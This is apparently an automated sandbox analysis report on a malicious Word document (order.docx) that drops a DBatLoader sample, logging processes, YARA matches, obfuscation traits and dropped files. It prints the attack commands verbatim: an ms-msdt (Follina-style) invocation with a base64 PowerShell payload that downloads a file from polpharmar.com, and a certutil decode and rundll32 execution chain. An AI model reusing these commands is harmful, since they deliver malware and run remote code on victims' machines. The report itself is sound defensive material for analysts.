Source: unknown Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5wwnjf5w\5wwnjf5w.cmdline
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6D3D.tmp" "c:\Users\user\AppData\Local\Temp\5wwnjf5w\CSC7D879DDA4AF844DBA2BC4075E8CB5965.TMP"
Source: unknown Process created: C:\Windows\SysWOW64\cmd.exe C:\WiNDOws\SYsTEm32\cmd.eXe /C MORe /e +32 %apPDAta%\test.inf > %apPDAta%\kk.txt && cErtUtiL.eXE -DeCODeheX %apPDAta%\kk.txt %apPDAta%\vv.jpg && RunDLL32.exe %apPDAta%\vv.jpg,maintest && DEL %apPDAta%\kk.txt && DeL %apPDAta%\vv.jpg && DEl %apPDAta%\test.inf
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\more.com MORe /e +32 C:\Users\user\AppData\Roaming\test.inf
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\certutil.exe cErtUtiL.eXE -DeCODeheX C:\Users\user\AppData\Roaming\kk.txt C:\Users\user\AppData\Roaming\vv.jpg
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe RunDLL32.exe C:\Users\user\AppData\Roaming\vv.jpg,maintest
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Users\user\AppData\Roaming\POtest.exe C:\Users\user\AppData\Roaming\POtest.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process created: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE C:\Program Files (x86)\Microsoft Office\Office16\MsoSync.exe Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process created: C:\Windows\SysWOW64\msdt.exe C:\Windows\system32\msdt.exe" ms-msdt:/ID PcwdiAgnOSTiC -sKiP forCe -pArAm "IT_ReBRowseforfiLE=#Ja2Y IT_LaunchMethod=ContextMenu IT_BrowseForFile=W5A$(Iex($(IeX('[sYSTem.teXt.enCODinG]'+[cHar]58+[chAR]58+'uTf8.geTStRiNg([sYStem.CoNVErT]'+[char]58+[char]0x3A+'fRombASe64StRINg('+[CHar]0X22+'U1RPcC1Qck9jZXNTIC1mb1JjZSAtTmFNZSAnbXNkdCc7JEtZID0gYWRkLXRZUEUgLW1lbUJlcmRFRmluaVRJT04gJ1tEbGxJbXBvcnQoIlVSbG1vTi5EbEwiLCBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyIFIsc3RyaW5nIGJpTCxzdHJpbmcgdXdlLHVpbnQgUm5vLEludFB0ciB1Ryk7JyAtbkFtRSAiWXZRIiAtTkFtRVNQYUNlIEhLZyAtUGFzc1RocnU7ICRLWTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovL3BvbHBoYXJtYXIuY29tL3Rlc3QuaW5mIiwiJGVudjpBUFBEQVRBXHRlc3QuaW5mIiwwLDApO1NUYXJ0LXNMRWVQKDMpO1J1bkRsbDMyLkVYZSBhZHZwQWNLLmRsTCxMYXVuY2hJTkZTZWN0aW9uRXggIiRlTlY6QVBQREFUQVx0ZXN0LmluZiIsREVmQXVsdEluc1RBbGxfU0luZ2xFVVNFciwiJGVOdjpBUFBEQVRBXHRlc3QuaW5mIiw0LDA7U1RvUC1QUm9jRVNTIC1Gb3JDZSAtTmFNZSAnc2RpYWduaG9zdCc='+[CHar]34+'))'))))xW/../../../../../../../../../../../../../../../../.MsI Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8FCE.tmp" "c:\Users\user\AppData\Local\Temp\3d50mnu3\CSCDC232D29FB9E414B97C7E48E45A16060.TMP" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAC3F.tmp" "c:\Users\user\AppData\Local\Temp\w5csyjot\CSC6CDACC821E67439283A644DCB258474.TMP" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6D3D.tmp" "c:\Users\user\AppData\Local\Temp\5wwnjf5w\CSC7D879DDA4AF844DBA2BC4075E8CB5965.TMP" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\more.com MORe /e +32 C:\Users\user\AppData\Roaming\test.inf Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\certutil.exe cErtUtiL.eXE -DeCODeheX C:\Users\user\AppData\Roaming\kk.txt C:\Users\user\AppData\Roaming\vv.jpg Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe RunDLL32.exe C:\Users\user\AppData\Roaming\vv.jpg,maintest Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Users\user\AppData\Roaming\POtest.exe C:\Users\user\AppData\Roaming\POtest.exe Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{88d96a05-f192-11d4-a65f-0040963251e5}\InProcServer32 Jump to behavior
Source: Templates.LNK.1.dr LNK file: ..\..\Templates
Source: order.LNK.1.dr LNK file: ..\..\..\..\..\Desktop\order.docx
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE File created: C:\Users\user\AppData\Roaming\Microsoft\Bibliography Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\{094B1279-01FE-4FF1-99F1-1F41260EAAFE} - OProcSessId.dat Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winDOCX@24/51@11/2
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_00476AAC GetWindow,GetWindowLongA,SetWindowLongA,GetWindow,GetWindow,GetWindowLongA,SetWindowLongA,GetWindow,GetWindowLongA,SetWindowLongA,SendMessageA,PostMessageA,CoCreateInstance,SendMessageA, 36_2_00476AAC
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_00409802 GetDiskFreeSpaceA, 36_2_00409802
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_0042BC88 GetLastError,FormatMessageA, 36_2_0042BC88
Source: C:\Users\user\AppData\Roaming\POtest.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe RunDLL32.exe C:\Users\user\AppData\Roaming\vv.jpg,maintest
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7016:120:WilError_01
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_0041C030 FindResourceA, 36_2_0041C030
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE File written: C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.ini Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe File opened: C:\Windows\SysWOW64\MSFTEDIT.DLL Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: order.docx Initial sample: OLE zip file path = word/media/image1.jpg
Source: ~WRD0000.tmp.1.dr Initial sample: OLE zip file path = word/glossary/settings.xml
Source: ~WRD0000.tmp.1.dr Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: ~WRD0000.tmp.1.dr Initial sample: OLE zip file path = word/glossary/document.xml
Source: ~WRD0000.tmp.1.dr Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: ~WRD0000.tmp.1.dr Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: ~WRD0000.tmp.1.dr Initial sample: OLE zip file path = word/glossary/styles.xml
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE File opened: C:\Windows\SysWOW64\MSVCR100.dll Jump to behavior

Data Obfuscation
barindex
Yara detected DBatLoader
Source: Yara match File source: 36.0.POtest.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 36.2.POtest.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 36.0.POtest.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 36.0.POtest.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 36.0.POtest.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000024.00000000.660584749.0000000000401000.00000020.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000000.661607541.0000000000401000.00000020.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000000.657291208.0000000000401000.00000020.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000000.659427202.0000000000401000.00000020.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.710194470.000000007FD30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.694860812.0000000002910000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.682348222.0000000000401000.00000020.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.710914582.000000007FDC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: C:\Users\user\AppData\Roaming\POtest.exe, type: DROPPED
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_004860AC push 00486125h; ret 36_2_0048611D
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_004865D0 push 0048665Dh; ret 36_2_00486655
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_00432024 push 004320F4h; ret 36_2_004320EC
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_00484034 push 0048406Ch; ret 36_2_00484064
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_00486144 push 004861ECh; ret 36_2_004861E4
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_004861F8 push 00486288h; ret 36_2_00486280
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_0040E280 push ecx; mov dword ptr [esp], edx 36_2_0040E285
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_00426290 push 0042633Bh; ret 36_2_00426333
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_0047A314 push 0047A370h; ret 36_2_0047A368
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_00428390 push 004283D3h; ret 36_2_004283CB
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_004844C0 push 00484517h; ret 36_2_0048450F
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_004184D8 push ecx; mov dword ptr [esp], ecx 36_2_004184DA
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_0045849C push 00458502h; ret 36_2_004584FA
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_00444798 push 00444803h; ret 36_2_004447FB
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_004867A8 push 004867F7h; ret 36_2_004867EF
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_00486868 push 004868D0h; ret 36_2_004868C8
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_00428940 push 00428983h; ret 36_2_0042897B
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_0047E948 push 0047E9E0h; ret 36_2_0047E9D8
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_00438914 push 0043894Ch; ret 36_2_00438944
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_004069D2 push 00406A2Fh; ret 36_2_00406A27
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_004069D4 push 00406A2Fh; ret 36_2_00406A27
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_0045A9B0 push ecx; mov dword ptr [esp], edx 36_2_0045A9B4
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_0040EA40 push 0040EBC6h; ret 36_2_0040EBBE
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_0040EA3A push 0040EBC6h; ret 36_2_0040EBBE
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_00478B84 push 00478C01h; ret 36_2_00478BF9
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_00432BB0 push 00432BFFh; ret 36_2_00432BF7
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_0045AC54 push ecx; mov dword ptr [esp], edx 36_2_0045AC58
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_0043CCE0 push 0043CD3Ah; ret 36_2_0043CD32
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_0043CD3C push 0043CD74h; ret 36_2_0043CD6C
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_0046AEBC push ecx; mov dword ptr [esp], ecx 36_2_0046AEC0
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_00468F20 push 00468F7Ah; ret 36_2_00468F72
PE file contains sections with non-standard names
Source: vv.jpg.34.dr Static PE information: section name: abc
Source: vv.jpg.34.dr Static PE information: section name: vvv
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_0047DB94 LoadLibraryA,GetProcAddress,GetProcAddress, 36_2_0047DB94
PE file contains an invalid checksum
Source: vv.jpg.34.dr Static PE information: real checksum: 0xbc90 should be: 0xba7b
Source: POtest.exe.35.dr Static PE information: real checksum: 0x0 should be: 0xee4b6
Source: 3d50mnu3.dll.19.dr Static PE information: real checksum: 0x0 should be: 0x47a1
Source: 5wwnjf5w.dll.27.dr Static PE information: real checksum: 0x0 should be: 0x6c4a
Source: w5csyjot.dll.22.dr Static PE information: real checksum: 0x0 should be: 0x1b42
Compiles C# or VB.Net code
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3d50mnu3\3d50mnu3.cmdline
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\w5csyjot\w5csyjot.cmdline
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5wwnjf5w\5wwnjf5w.cmdline

Persistence and Installation Behavior
barindex
Contains an external reference to another file
Source: document.xml.rels Extracted files from sample: mhtml:http://polpharmar.com/test.html!x-usc:http://polpharmar.com/test.html
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Windows\SysWOW64\certutil.exe File created: C:\Users\user\AppData\Roaming\vv.jpg Jump to dropped file
Drops PE files
Source: C:\Windows\SysWOW64\msdt.exe File created: C:\Windows\Temp\SDIAG_76dd7df5-21a8-4917-b4ac-b9c30cc4460d\DiagPackage.dll Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe File created: C:\Users\user\AppData\Roaming\POtest.exe Jump to dropped file
Source: C:\Windows\SysWOW64\msdt.exe File created: C:\Windows\Temp\SDIAG_76dd7df5-21a8-4917-b4ac-b9c30cc4460d\en-US\DiagPackage.dll.mui Jump to dropped file
Source: C:\Windows\SysWOW64\certutil.exe File created: C:\Users\user\AppData\Roaming\vv.jpg Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\5wwnjf5w\5wwnjf5w.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\w5csyjot\w5csyjot.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\3d50mnu3\3d50mnu3.dll Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\Windows\SysWOW64\msdt.exe File created: C:\Windows\Temp\SDIAG_76dd7df5-21a8-4917-b4ac-b9c30cc4460d\DiagPackage.dll Jump to dropped file
Source: C:\Windows\SysWOW64\msdt.exe File created: C:\Windows\Temp\SDIAG_76dd7df5-21a8-4917-b4ac-b9c30cc4460d\en-US\DiagPackage.dll.mui Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Uses certutil -decode
Source: unknown Process created: C:\Windows\SysWOW64\cmd.exe C:\WiNDOws\SYsTEm32\cmd.eXe /C MORe /e +32 %apPDAta%\test.inf > %apPDAta%\kk.txt && cErtUtiL.eXE -DeCODeheX %apPDAta%\kk.txt %apPDAta%\vv.jpg && RunDLL32.exe %apPDAta%\vv.jpg,maintest && DEL %apPDAta%\kk.txt && DeL %apPDAta%\vv.jpg && DEl %apPDAta%\test.inf
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\certutil.exe cErtUtiL.eXE -DeCODeheX C:\Users\user\AppData\Roaming\kk.txt C:\Users\user\AppData\Roaming\vv.jpg
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\certutil.exe cErtUtiL.eXE -DeCODeheX C:\Users\user\AppData\Roaming\kk.txt C:\Users\user\AppData\Roaming\vv.jpg Jump to behavior
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_00466798 PostMessageA,PostMessageA,SendMessageA,GetProcAddress,GetLastError,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus, 36_2_00466798
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_004520CC IsIconic,SetWindowPos,GetWindowPlacement,SetWindowPlacement, 36_2_004520CC
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_00452AD4 IsIconic,GetWindowPlacement,GetWindowRect,GetWindowLongA,GetWindowLongA,ScreenToClient,ScreenToClient, 36_2_00452AD4
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_00466EC8 IsIconic,SetActiveWindow,IsWindowEnabled,SetWindowPos,DefWindowProcA, 36_2_00466EC8
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_00466F8C IsIconic,SetActiveWindow,IsWindowEnabled,DefWindowProcA,SetWindowPos,SetFocus, 36_2_00466F8C
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_004632D4 SendMessageA,ShowWindow,ShowWindow,CallWindowProcA,SendMessageA,ShowWindow,SetWindowPos,GetActiveWindow,IsIconic,SetWindowPos,SetActiveWindow,ShowWindow,ShowWindow, 36_2_004632D4
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_004517C4 IsIconic,GetCapture, 36_2_004517C4
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_004278B4 IsIconic,GetWindowPlacement,GetWindowRect, 36_2_004278B4
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_00432424 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 36_2_00432424
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Registry key monitored for changes: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
